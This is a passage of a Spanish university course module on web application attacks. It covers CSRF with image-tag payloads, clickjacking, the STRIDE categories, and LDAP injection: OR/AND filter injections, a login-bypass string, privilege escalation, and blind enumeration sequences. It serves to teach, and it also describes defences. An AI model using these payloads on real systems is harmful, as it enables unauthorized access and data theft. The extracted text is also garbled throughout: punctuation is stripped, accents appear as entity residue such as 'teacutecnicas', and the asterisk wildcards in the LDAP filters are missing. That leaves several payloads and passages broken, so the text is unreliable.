digo XSS

12 Cross Site Request Forgery (CSRF)

Una vez entendida la base del XSS es el momento de estudiar algunas teacutecnicas

concretas derivadas de esta y lo que es posible hacer con ellas Una de ellas es

el cross site request forgery (CSRF)

El CSRF es una teacutecnica por la cual vamos a lograr que el usuario realice

acciones no deseadas en dominios remotos Se basa en la idea de apro-

vechar la persistencia de sesiones entre las pestantildeas de un navegador

Vamos a analizar con un ejemplo hipoteacutetico para entenderla

El usuario abre su navegador y entra en el sitio wwwsitio001com En este sitio iniciasesioacuten con su usuario y se le permite realizar una serie de acciones econoacutemicas tales comopujas o compras de objetos A su vez entra en la red social de moda wwwsitio002comdonde tiene sus fotos personales y se escribe mensajes con sus amigos Sin embargoresulta que en el sitio002com tiene un fallo de XSS permanente y un atacante lo va ausar para generar un ataque CSRF

Cuando nos ldquologeamosrdquo en un sitio determinado se nos asocia una cookie de sesioacuten quenos autentica uacutenicamente frente al servidor Esto evita tener que introducir nuestras cre-denciales en cada paacutegina que visitemos Sin embargo no podemos controlar cuaacutendo seenviacutean estas cookies Si nuestro navegador tiene almacenada una cookie asociada a un do-

CC-BY-NC-ND bull PID_00191662 20 Ataques a aplicaciones web

minio la enviaraacute en cada peticioacuten realizada a este dominio incluso si esta no se realizavoluntariamente

En este concepto se basa la teacutecnica de CSRF Vamos a obligar a un usuario a que realiceacciones no deseadas sobre un dominio desde otro Imaginemos que el sitio001comque recordemos permitiacutea transacciones econoacutemicas utiliza URL como la siguiente parala compra de objetos con la tarjeta de creacutedito almacenada

httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes

Si un usuario malintencionado lograse que un usuario autenticado en la paacutegina anteriorrealizase clic sobre el enlace obtendriacutea como resultado la compra del objeto en cuestioacutenEsto es podriacutea engantildear a la gente para comprar objetos que eacutel pusiera a la venta por unprecio desorbitado

Sin embargo un usuario avezado no hariacutea clic sobre un enlace desconocido y recibidopor una persona en la cual no confiacutea Es aquiacute donde entra en juego la teacutecnica de CSRFpermitiendo a un atacante ldquosimularrdquo clics veriacutedicos sobre una aplicacioacuten usando las cre-denciales (cookie de sesioacuten) de un usuario Esta accioacuten mediante XSS es sencilla

Como ya se ha puesto de manifiesto muacuteltiples veces a lo largo de este moacutedulo es nece-sario conocer muy a fondo el funcionamiento de los navegadores En este caso vamos ahacer uso de una condicioacuten que todos los navegadores comparten pues no haremos usode coacutedigo Javascript sino que utilizaremos coacutedigo HTML

Los navegadores web al encontrarse una etiqueta ltimggt siguen la direccioacuten del recursoespecificado en el paraacutemetro src Esto implica una conexioacuten para intentar descargar laimagen y esta puede realizarse entre dominios Si la imagen no se encuentra disponible ola respuesta que se recibe desde el servidor no es interpretable como imagen se mostraraacuteel icono de imagen rota

Un atacante puede aprovechar esta caracteriacutestica de los navegadores para obligar a losusuarios afectados a realizar acciones que no desean Crear una imagen que apunte a ladireccioacuten URL anteriormente indicada generariacutea una peticioacuten por parte de todos los na-vegadores que visitasen la paacutegina que contiene el coacutedigo HTML y que como veiacuteamos in-tentariacutea comprar un objeto en el dominio wwwsitio001com El siguiente coacutedigo HTMLse deberiacutea introducir por ejemplo en un comentario del sitio wwwsitio002com

ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes gt

Como se puede observar la teacutecnica es tan simple como efectiva Es posible hacer usode Javascript para que el ataque sea mucho maacutes discreto Las imaacutegenes disponen de unevento onerror que se lanza al no poder cargar la imagen Esto es parecido al atributoalt que se muestra cuando un navegador no soporta imaacutegenes Usando este evento ymodificando el recurso referenciado en src podemos cargar una imagen existente despueacutesde hacer la modificacioacuten maliciosa a traveacutes de CSRF

ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes onerror=thissrc=logojpgthisonerror=nullgt

Igualmente seriacutea posible desencadenar un ataque de forma maacutes discreta usan-

do CSS (cascading style sheets hojas de estilo para paacuteginas web) para evitar que

la imagen rota que se genera se le muestre al usuario

El ataque anteriormente descrito se ha podido llevar a cabo gracias a que la

paacutegina de sitio001com acepta peticiones GET aquellas donde los paraacutemetros

se remiten en la URL en lugar de requerir POST para los enviacuteos de informacioacuten

Una peticioacuten GET siempre seraacute maacutes faacutecil de manipular que una peticioacuten POST

Esto es asiacute porque para generar una peticioacuten POST debemos escribir coacutedigo

Javascript el cual puede entrar en conflicto con posibles filtros antiXSS que

existan en la aplicacioacuten

CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web

Sin embargo y aunque establecieacutesemos como requisito indispensable que las

peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de

nuestra paacutegina ni de nuestros clientes

Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las

cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se

utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a

un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten

aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras

paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen

desde nuestro propio dominio

La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie

de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos

pueden ser establecidos como un CAPTCHA que el usuario debe introducir al

realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro

del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la

peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar

los datos de nuestros usuarios

Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos

tomar una serie de precauciones que intenten evitar un ataque mediante esta

teacutecnica Las medidas son

bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten

bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-

na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que

durante el tiempo de uso

bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas

Con esto nos aseguramos la independencia de las cookies de sesioacuten entre

navegadores

13 Clickjacking

Las teacutecnicas de clickjacking son una amenaza reciente para los navega-

dores y sus usuarios Se basan en engantildear a los usuarios para que ha-

gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean

voluntariamente

Esto se consigue superponiendo dos paacuteginas

CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web

bull Una la principal con la paacutegina donde queremos que realmente los usua-

rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-

lizar una transferencia

bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-

tenidos que sirvan de aliciente para que el usuario realice los clics en las

zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear

en determinadas zonas

Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-

tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra

paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a

ellos mediante Javascript son de posible uso para engantildear al usuario

1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y

que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten

falta para llevar a cabo esta teacutecnica

Figura 6 Paacutegina a secuestrar

2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo

exactamente en el lugar donde deseamos que el usuario engantildeado realice el

clic Esto se hace asiacute para asegurar que independientemente del navegador el

clic se ejecute sin problemas

CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web

Figura 7 IFRAME sobre el sitio original

3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-

tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear

alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el

clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina

original

Figura 8 Colocacioacuten del IFRAME para engantildear al usuario

CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web

Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah

Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-

sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase

una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a

traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-

racioacuten de seguridad del plugin como se puede observar en la siguiente imagen

Figura 9 Configuracioacuten de seguridad de Flash Player

Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-

gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para

interactuar con el servidor Es por eso por lo que algunos navegadores aportan

directamente protecciones contra esta teacutecnica

bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus

usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-

sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario

sea engantildeado para hacer clic sobre un elemento previamente falseado

CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web

Figura 10 Clickjacking bloqueado

bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-

ca que permite a los programadores web incluir una cabecera x-frame-op-

tions que si figura establecida como deny impide que la paacutegina que la en-

viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de

establecer el valor como sameorigin para permitir que uacutenicamente pueda

ser cargada si la peticioacuten se realiza desde el mismo dominio

Figura 11 IFRAME bloqueado desde Internet Explorer 8

bull En el resto de navegadores como GoogleChromeOperaSafarieInter-

netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten

y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos

tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-

gador

CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web

2 Ataques de inyeccioacuten de coacutedigo

Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet

Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten

puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante

Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma

geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un

tipo de ataque

1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita

a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de

ataque se usan de forma muy extendida en Internet a varios niveles

a) Nivel de enlace

Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones

de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en

servidores DHCP ( dynamic host configuration protocol)

b) Nivel de Red

bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-

tringidas a determinadas direcciones IP Se hicieron famosas en el ataque

a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo

directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo

desde un servidor con una direccioacuten IP en concreto

bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-

plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En

el caso del nivel de red el objetivo es controlar el socket mediante la su-

plantacioacuten del nuacutemero de secuencia

c) Nivel de Aplicacioacuten

bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima

crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-

ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de

envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-

cha del cumpleantildeosrdquo son utilizados para lograr este objetivo

bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que

hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta

teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten

CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web

mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-

nicas de suplantacioacuten de DNS

bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-

lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-

tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o

un paraacutemetro por GET o por POST

bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de

usurpar la identidad de un usuario para realizar las acciones en su lugar

2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-

nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten

Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-

dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor

de la misma

3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-

rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-

rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial

relevancia en entornos de anaacutelisis forense o sistemas contractuales

4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que

implica que un usuario no permitido acceda a informacioacuten o documentacioacuten

sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten

protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-

nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica

de Proteccioacuten de Datos (LOPD)

5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-

llas que interrumpen la continuidad de los procesos de negocio o servicio de

una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en

los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (

botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-

nicacioacuten de las empresas son objetivos de este tipo de ataques

6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario

puede cambiar su nivel de privilegios dentro de un sistema para acceder a

informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten

de privilegios es una vulnerabilidad que suele ser el origen de brechas que

conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten

A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la

implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-

taacuteneamente en varias de las categoriacuteas anteriores

CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web

La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo

objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-

nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos

directamente en la base de datos

21 LDAP Injection

Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en

aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible

realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso

y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo

LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones

bull And LDAP Injection

bull OR LDAP Injection y

bull Blind LDAP Injection

Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM

de Microsoft y el motor OpenLDAP un producto Software Libre de amplia

implantacioacuten a nivel mundial

211 LDAP Injection con ADAM de Microsoft

Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-

mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un

cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-

presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados

En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM

Figura 12 Estructura del aacuterbol LDAP creado en ADAM

CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web

Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente

filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como

se puede ver en la figura 13

Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)

Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a

toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera

todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-

tener con una consulta siguiendo el formato definido en las RFC sobre ADAM

(|(cn=Impresora_1)(cn=Impresora))

CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web

Figura 14 Todas las impresoras

Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos

inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten

no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre

cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo

antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta

por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))

Figura 15 Inyeccioacuten sin resultados

CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web

Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten

no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha

Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes

datos Es decir solo devuelve los datos del primer filtro completo y el resto de

la cadena es ignorado

212 LDAP Injection con OpenLDAP

Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol

que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya

estructura es la siguiente

Figura 16 Estructura del aacuterbol LDAP en OpenLDAP

Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-

niendo un uacutenico objeto como resultado (uid=kurt)

CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web

Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado

Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido

en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-

dor OR y un filtro que incluyera todos los resultados como se puede ver en la

siguiente imagen (|(uid=kurt)(uid=))

Figura 18 Todos los usuarios

Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento

sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))

CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web

Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro

Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado

el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba

ADAM

213 Conclusiones

Tras realizar estas pruebas podemos extraer las siguientes conclusiones

bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje

contra ADAM u OpenLDAP es necesario que el filtro original es decir el

del programador tenga un operador OR o AND A partir de este punto se

pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten

o realizar ataques blind es decir a ciegas

bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente

anidada en un uacutenico par de pareacutentesis general o bien que el componente

permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha

del filtro

bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust

puede ser vista de dos formas diferentes una primera en la que seriacutea vista

como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-

mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro

mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-

tariacuteamos hablando de un comportamiento particular de algunos motores

LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con

un segundo filtro con un operador el operador OR innecesario

CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web

A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP

que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten

siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-

jection y Blind LDAP Injection

214 ldquoORrdquo LDAP Injection

En este entorno nos encontrariacuteamos con que el programador ha creado una

consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados

al usuario

(|(atributo1=valor1)(atributo2=valor2))

Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-

table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-

dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea

ldquoGroupsrdquo Al ejecutarla obtenemos

Figura 20 Consulta OR sin inyeccioacuten

Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-

driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-

nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-

dena void)(uid=))(|(uid=

CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web

Figura 21 Lista de usuarios obtenida tras la inyeccioacuten

Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|

(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-

ta de todos los usuarios del aacuterbol LDAP

Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en

este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente

tipo

(|(type=outputDevices)(type=printer))

Figura 22 Listado de impresoras y dispositivos de salida

Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea

modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo

CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web

(|(type=outputDevices)(type=printer)(uid=))(|(type=void))

Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los

usuarios como se puede ver en la figura 23

Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection

215 ldquoANDrdquo LDAP Injection

En el caso de inyecciones en consultas LDAP que lleven el operador AND el

atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido

pero se pueden utilizar las inyecciones para mediatizar los resultados y por

ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con

una consulta del siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Supongamos un entorno en el que se muestra la lista de todos los documentos

a los que un usuario con pocos privilegios tiene acceso mediante una consulta

que incluye el directorio de documentos en un paraacutemetro inyectable Es decir

la consulta original es

(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))

Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder

acceder a los documentos de nivel de seguridad alto

(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))

Para conseguir este resultado se habraacute inyectado en el nombre del directorio

la siguiente cadena

almacen)(nivel_seguridad=alto))(|(directorio=almacen

CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web

Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer

lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando

una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza

una consulta LDAP del tipo

(amp(uid=valor_de_user)(password=valor_de_password)

El atacante inyectando la cadena slisberger)(amp)) en el valor del USER

obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger

y por lo tanto conseguiriacutea el acceso a la aplicacioacuten

Figura 24 Acceso no autorizado mediante AND LDAP Injection

Y como se puede ver en la figura 25 el usuario consigue acceso al directorio

privado del usuario slisberger En este caso se ha utilizado el filtro (amp)

que es el equivalente al valor TRUE en los filtros LDAP

Figura 25 Directorio home del usuario

Como se puede ver en este caso el usuario ha accedido con privilegios de nivel

bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio

de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se

puede ver en la figura 26

CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web

Figura 26 Listado de documentos de nivel bajo

La consulta que se estaacute ejecutando es

(amp(directory=nombre_directorio)(level=low))

El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del

servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio

el siguiente comando Documents)(level=High) De esta forma el coman-

do que se ejecutariacutea seriacutea

(amp(directory=Documents)(level=High))(level=low))

Permitiendo al atacante acceder a todos los documentos Se ha producido una

elevacioacuten de privilegios

CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web

Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection

22 Blind LDAP Injection

Una de las evoluciones de las inyecciones de comandos son las acciones a

ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques

Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no

se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer

informacioacuten de un aacuterbol LDAP

El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que

cumple dos caracteriacutesticas

bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada

al aacuterbol LDAP

bull El uso de los resultados produce cambios en la respuesta http que el cliente

recibe

Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer

informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-

vando los cambios en las respuestas http

CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web

221 Blind LDAP Injection en un entorno ldquoANDrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND

tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el

atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo

que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos

aplicarle un valor que sea true es decir que siempre seleccione objetos para

tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que

tambieacuten nos garantice que sea true

Supongamos la siguiente consulta LDAP

(amp(objectClass=Impresoras)(impresoraTipo=Epson))

Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson

de tal manera que el programador si recibe alguacuten objeto simplemente pinta

en la paacutegina web un icono de una impresora Epson

Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el

icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y

como hemos dicho realizando una inyeccioacuten del siguiente tipo

(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante

Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado

en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-

mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP

222 Reconocimiento de clases de objetos de un aacuterbol LDAP

Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-

mos centrarnos en el segundo filtro realizando un recorrido de la siguiente

forma

(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web

De tal manera que todas aquellas inyecciones que devolvieran el icono de la

impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean

la existencia de ese tipo de objetos

Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-

beto de posibles valores utilizando una buacutesqueda con comodines para ello

realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de

la siguiente forma

(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran

dado una respuesta positiva

(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))

Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos

llegar a saber el nombre de todos los objetcClass de un sistema

Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)

Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido

para cualquier atributo que un objeto compartiera con el atributo fijo Una

vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-

CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web

rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los

nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido

con la siguiente inyeccioacuten

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-

bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se

puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-

teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-

zando un recorrido de la siguiente forma

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan

devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-

car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de

los caracteres utilizando los operadores relacionales lt= o gt= para reducir el

nuacutemero de peticiones

En los atributos que almacenan valores numeacutericos no es posible utilizar el co-

